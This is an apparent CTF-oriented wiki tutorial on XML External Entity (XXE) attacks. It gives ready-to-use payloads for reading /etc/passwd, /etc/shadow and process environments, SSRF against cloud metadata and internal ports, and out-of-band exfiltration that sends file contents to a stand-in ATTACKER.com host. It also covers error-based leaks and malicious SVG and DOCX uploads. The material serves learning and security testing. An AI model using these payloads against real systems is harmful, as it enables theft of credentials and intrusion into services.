Athena Wiki
Web ExploitationServer-Side Attacks

XML External Entity (XXE)

webintermediate

Exploit XXE vulnerabilities to read local files, perform SSRF, and exfiltrate data.

webxxexmlssrffile-readout-of-banddtd

XML External Entity (XXE)

XXE (XML External Entity) is an injection vulnerability where XML parsers process untrusted external entity definitions, allowing attackers to read arbitrary local files, perform server-side request forgery (SSRF), or cause denial of service. How it works: Attacker injects DOCTYPE with entity definitions pointing to local files (file:// protocol) or remote URLs (HTTP); XML parser resolves entities without sanitization; out-of-band (OOB) exfiltration sends file content via HTTP requests to attacker-controlled server; billion laughs attack (entity expansion) consumes memory for DoS. Why it matters: Affects SOAP services, REST APIs accepting XML, and file uploads (DOCX, XLSX, SVG contain embedded XML); many languages enable external entity processing by default; OWASP Top 10 (A03:2021 Injection); exploitable with simple payloads in user input.


Detecting XXE

Any endpoint that accepts XML input is a potential XXE target:

  • SOAP web services
  • File upload (XML, DOCX, XLSX, SVG)
  • REST APIs with Content-Type: application/xml
  • XML-based config files

Test payload:

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

If you see /etc/passwd content in the response → XXE confirmed.


Classic In-Band XXE (File Read)

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
  <data>&xxe;</data>
</request>

Other useful files to read:

file:///etc/passwd
file:///etc/shadow
file:///flag.txt
file:///flag
file:///app/config.php
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/self/cwd/app.py
file:///var/www/html/index.php

XXE via PHP Filter (Base64 Encode)

When the response reflects XML but the raw content breaks XML parsing, use PHP wrappers to base64-encode the output first:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>

Decode the base64 response:

echo "cm9vdDp4OjA..." | base64 -d

SSRF via XXE

XXE can be used to probe internal services:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
<!-- Internal service discovery -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">

Blind XXE (Out-of-Band)

When the response doesn't reflect the entity, exfiltrate via OOB:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % ext SYSTEM "http://ATTACKER.com/evil.dtd">
  %ext;
]>
<root>&send;</root>

Your evil.dtd hosted at http://ATTACKER.com/evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY send SYSTEM 'http://ATTACKER.com/?data=%file;'>">
%eval;

When parsed, the server requests your DTD, builds the entity, then sends the file content to your server.

Monitor with:

# Simple listener
python3 -m http.server 80
# Or use Burp Collaborator / webhook.site

Error-Based XXE (When OOB is Blocked)

Force an error that includes the file contents:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<root/>

The error message includes the contents of /etc/passwd.


XXE in File Uploads

Some file formats that contain XML trigger XXE when processed:

SVG upload

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="30">&xxe;</text>
</svg>

DOCX/XLSX

  1. Create a DOCX file
  2. Unzip it: unzip file.docx -d file_contents/
  3. Edit word/document.xml to add the XXE payload
  4. Rezip: zip -r malicious.docx file_contents/
  5. Upload and read the response

XXE via JSON to XML Conversion

Some APIs accept both JSON and XML. Switch Content-Type to application/xml:

POST /api/endpoint HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">]>
<root><data>&xxe;</data></root>


Last updated on

On this page